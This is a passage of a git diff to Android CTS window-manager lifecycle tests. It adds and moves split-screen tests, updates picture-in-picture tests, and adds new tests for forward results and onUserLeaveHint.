+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        final Activity newTaskActivity = new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+
+        // Launch second activity, first become stopped
+        getLifecycleLog().clear();
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+        // Wait for second activity to resume and first to stop
+        waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
+
+        // Finish top activity
+        getLifecycleLog().clear();
+        secondActivity.finish();
+
+        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
+
+        // Verify that the first activity was restarted to resumed state as it was brought back
+        // after windowing mode was switched
+        LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
+        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
+
+        // Launch a translucent activity, first become paused
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+
+        // Wait for first activity to pause
+        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        getLifecycleLog().clear();
+
+        // Finish top activity
+        translucentActivity.finish();
+
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
+
+        // Verify that the first activity was resumed
+        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_RESUME), "resume");
+        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
+                getLifecycleLog());
+    }
+
+    @Test
+    public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
+        // Launch a singleTop activity
+        launchActivityAndWait(CallbackTrackingActivity.class);
+
+        // Wait for the activity to resume
+        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+
+        // Enter split screen
+        getLifecycleLog().clear();
+        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY,
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+        // Wait for the activity to relaunch and receive multi-window mode change
+        final List<LifecycleLog.ActivityCallback> expectedEnterSequence =
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
+                        ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
+                        ON_TOP_POSITION_LOST, ON_PAUSE);
+        waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
+        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
+                        ON_RESUME), "moveToSplitScreen");
+
+        // Exit split-screen
+        getLifecycleLog().clear();
+        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+        // Wait for the activity to relaunch and receive multi-window mode change
+        final List<LifecycleLog.ActivityCallback> expectedExitSequence =
+                Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
+                        ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
+        waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
+        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+                Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
+                "moveFromSplitScreen");
+    }
+
+    @Test
+    public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
+
+        // Launch activities and enter split screen. Launched an activity on
+        // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
+        // prior to MULTI_WINDOW_MODE_CHANGED.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().
+                        setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
+                getLaunchActivityBuilder().
+                        setTargetActivity(getComponentName(SecondActivity.class)));
+
+        final int displayWindowingMode = getDisplayWindowingModeByActivity(
+                getComponentName(ConfigChangeHandlingActivity.class));
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Wait for the activity to receive the change.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
+            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        } else {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST));
+            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        }
+
+        // Exit split-screen
+        getLifecycleLog().clear();
+        setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+        // Wait for the activity to receive the change
+        final List<LifecycleLog.ActivityCallback> expectedSequence =
+                Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
+        waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
+                "exitSplitScreen");
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
+                "exitSplitScreen");
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index b9e8b87..7707f98 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -16,7 +16,6 @@
 
 package android.server.wm.lifecycle;
 
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
@@ -29,11 +28,9 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
-import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.MediumTest;
@@ -65,17 +62,13 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch Pip-capable activity
-        final Activity pipActivity = launchActivityAndWait(PipActivity.class);
+        final PipActivity pipActivity = launchActivityAndWait(PipActivity.class);
 
         waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
         // Move activity to Picture-In-Picture
         getLifecycleLog().clear();
-        final ComponentName pipActivityName = getComponentName(PipActivity.class);
-        mWmState.computeState(pipActivityName);
-        final int stackId = mWmState.getStackIdByActivity(pipActivityName);
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedRootTask(stackId);
+        pipActivity.enterPip();
 
         // Wait and assert lifecycle
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
@@ -249,8 +242,6 @@
                 .launch();
 
         LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
         LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
                 "launchBelow");
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
deleted file mode 100644
index 30da1c4..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ /dev/null
@@ -1,366 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.lifecycle;
-
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
-
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.filters.MediumTest;
-
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleSplitScreenTests
- */
-@MediumTest
-@Presubmit
-@android.server.wm.annotation.Group3
-public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
-
-    @Before
-    public void setUp() throws Exception {
-        super.setUp();
-        assumeTrue(supportsSplitScreenMultiWindow());
-        // TODO(b/149338177): Fix test to pass with organizer API.
-        mUseTaskOrganizer = false;
-    }
-
-    @Test
-    public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Launch second activity to stop first
-        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
-        // Wait for the first activity to stop, so that this event is not included in the logs.
-        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(secondActivity);
-
-        // CLear logs so we can capture just the destroy sequence
-        getLifecycleLog().clear();
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
-                .launch();
-
-        // Wait for SecondActivity in primary split screen leave minimize dock.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
-        // Finish top activity
-        secondActivity.finish();
-
-        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
-                state(firstActivity, ON_RESUME));
-
-        // Verify that the first activity was recreated to resume as it was created before
-        // windowing mode was switched
-        LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
-
-        // Verify that the lifecycle state did not change for activity in non-focused stack
-        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
-    }
-
-    @Test
-    public void testOccludingOnSplitSecondaryStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
-        mWmState.computeState(firstActivityName);
-        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
-        // Launch second activity to side
-        getLifecycleLog().clear();
-        final Activity secondActivity = new Launcher(SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
-        // Launch third activity on top of second
-        getLifecycleLog().clear();
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-        waitAndAssertActivityStates(state(secondActivity, ON_STOP));
-    }
-
-    @Test
-    public void testTranslucentOnSplitSecondaryStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
-        mWmState.computeState(firstActivityName);
-        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
-        // Launch second activity to side
-        getLifecycleLog().clear();
-        final Activity secondActivity = new Launcher(SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
-        // Launch translucent activity on top of second
-        getLifecycleLog().clear();
-
-        new Launcher(TranslucentActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-        waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
-    }
-
-    @Test
-    @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
-    public void testResultInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity callbackTrackingActivity =
-                launchActivityAndWait(CallbackTrackingActivity.class);
-
-        // Enter split screen, the activity will be relaunched.
-        // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
-        moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
-            true/* showSideActivity */);
-        getLifecycleLog().clear();
-
-        // Launch second activity
-        // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
-        Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
-                .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
-                        false /* block */);
-
-        callbackTrackingActivity.startActivityForResult(
-                new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
-
-        // Wait for the ActivityMonitor to be hit
-        final Activity secondActivity = getInstrumentation()
-                .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
-
-        // Wait for second activity to resume
-        assertNotNull("Second activity should be started", secondActivity);
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
-        // Verify if the first activity stopped (since it is not currently visible)
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Finish top activity and verify that activity below became focused.
-        getLifecycleLog().clear();
-        secondActivity.setResult(Activity.RESULT_OK);
-        secondActivity.finish();
-
-        // Check that activity was resumed and result was delivered
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME), "resume");
-    }
-
-    @Test
-    public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        final Activity newTaskActivity = new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
-        // Launch second activity, first become stopped
-        getLifecycleLog().clear();
-        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
-        // Wait for second activity to resume and first to stop
-        waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
-
-        // Finish top activity
-        getLifecycleLog().clear();
-        secondActivity.finish();
-
-        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
-        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
-
-        // Verify that the first activity was restarted to resumed state as it was brought back
-        // after windowing mode was switched
-        LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
-    }
-
-    @Test
-    public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
-
-        // Launch a translucent activity, first become paused
-        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
-
-        // Wait for first activity to pause
-        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        getLifecycleLog().clear();
-
-        // Finish top activity
-        translucentActivity.finish();
-
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
-
-        // Verify that the first activity was resumed
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "resume");
-        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
-                getLifecycleLog());
-    }
-
-    @Test
-    public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
-        // Launch a singleTop activity
-        launchActivityAndWait(CallbackTrackingActivity.class);
-
-        // Wait for the activity to resume
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
-
-        // Enter split screen
-        getLifecycleLog().clear();
-        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY,
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
-        // Wait for the activity to relaunch and receive multi-window mode change
-        final List<LifecycleLog.ActivityCallback> expectedEnterSequence =
-                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
-                        ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
-                        ON_TOP_POSITION_LOST, ON_PAUSE);
-        waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
-        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
-                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
-                        ON_RESUME), "moveToSplitScreen");
-
-        // Exit split-screen
-        getLifecycleLog().clear();
-        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Wait for the activity to relaunch and receive multi-window mode change
-        final List<LifecycleLog.ActivityCallback> expectedExitSequence =
-                Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
-                        ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
-        waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
-        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
-                Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
-                "moveFromSplitScreen");
-    }
-
-    @Test
-    public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
-
-        // Launch activities and enter split screen. Launched an activity on
-        // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
-        // prior to MULTI_WINDOW_MODE_CHANGED.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().
-                        setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
-                getLaunchActivityBuilder().
-                        setTargetActivity(getComponentName(SecondActivity.class)));
-
-        // Wait for the activity to receive the change
-        waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
-                "moveToSplitScreen");
-
-        // Exit split-screen
-        getLifecycleLog().clear();
-        setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Wait for the activity to receive the change
-        final List<LifecycleLog.ActivityCallback> expectedSequence =
-                Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
-        waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
-                "exitSplitScreen");
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
-                "exitSplitScreen");
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index b104511..de98fe5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -17,9 +17,11 @@
 package android.server.wm.lifecycle;
 
 import static android.app.Instrumentation.ActivityMonitor;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
 import static android.server.wm.WindowManagerState.STATE_PAUSED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
@@ -39,6 +41,7 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 import static android.server.wm.lifecycle.LifecycleVerifier.transition;
 import static android.view.Surface.ROTATION_0;
@@ -51,6 +54,7 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.ActivityInfo;
@@ -483,9 +487,15 @@
             return;
         }
 
-        final Activity becomingVisibleActivity = launchActivityAndWait(FirstActivity.class);
-        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
-        final Activity topOpaqueActivity = launchActivityAndWait(SecondActivity.class);
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
+
+        final Activity becomingVisibleActivity =
+                new Launcher(FirstActivity.class).setOptions(options).launch();
+        final Activity translucentActivity =
+                new Launcher(TranslucentActivity.class).setOptions(options).launch();
+        final Activity topOpaqueActivity =
+                new Launcher(SecondActivity.class).setOptions(options).launch();
 
         waitAndAssertActivityStates(
                 state(becomingVisibleActivity, ON_STOP),
@@ -538,6 +548,32 @@
     }
 
     @Test
+    public void testLaunchActivityWithFlagForwardResult() throws Exception {
+        final ActivityMonitor resultMonitor = getInstrumentation().addMonitor(
+                ResultActivity.class.getName(), null /* result */, false /* block */);
+
+        new Launcher(LaunchForwardResultActivity.class)
+                .setExpectedState(ON_STOP)
+                .setNoInstance()
+                .launch();
+
+        final Activity resultActivity = getInstrumentation()
+                .waitForMonitorWithTimeout(resultMonitor, 5000);
+        getInstrumentation().runOnMainSync(resultActivity::finish);
+        waitAndAssertActivityStates(state(LaunchForwardResultActivity.class,
+                ON_TOP_POSITION_GAINED));
+
+        // verify the result have sent back to original activity
+        final List<LifecycleLog.ActivityCallback> expectedSequence =
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+                        ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
+                        ON_TOP_POSITION_GAINED);
+        LifecycleVerifier.assertSequence(LaunchForwardResultActivity.class, getLifecycleLog(),
+                expectedSequence, "becomingVisibleResumed");
+    }
+
+    @Test
     public void testOnActivityResult() throws Exception {
         new Launcher(LaunchForResultActivity.class)
                 .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
@@ -989,4 +1025,34 @@
         LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
                 transition(SingleTopActivity.class, ON_ACTIVITY_RESULT),"activityResult");
     }
+
+    @Test
+    public void testLaunchOnUserLeaveHint() throws Exception {
+        new Launcher(FirstActivity.class)
+                .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+                .launch();
+
+        getLifecycleLog().clear();
+        launchActivityAndWait(SecondActivity.class);
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+    }
+
+    @Test
+    public void testLaunchOnUserLeaveHintWithNoUserAction() throws Exception {
+        new Launcher(FirstActivity.class)
+                .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+                .launch();
+
+        getLifecycleLog().clear();
+        new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+        LifecycleVerifier.assertTransitionNotObserved(getLifecycleLog(),
+                transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+    }
 }
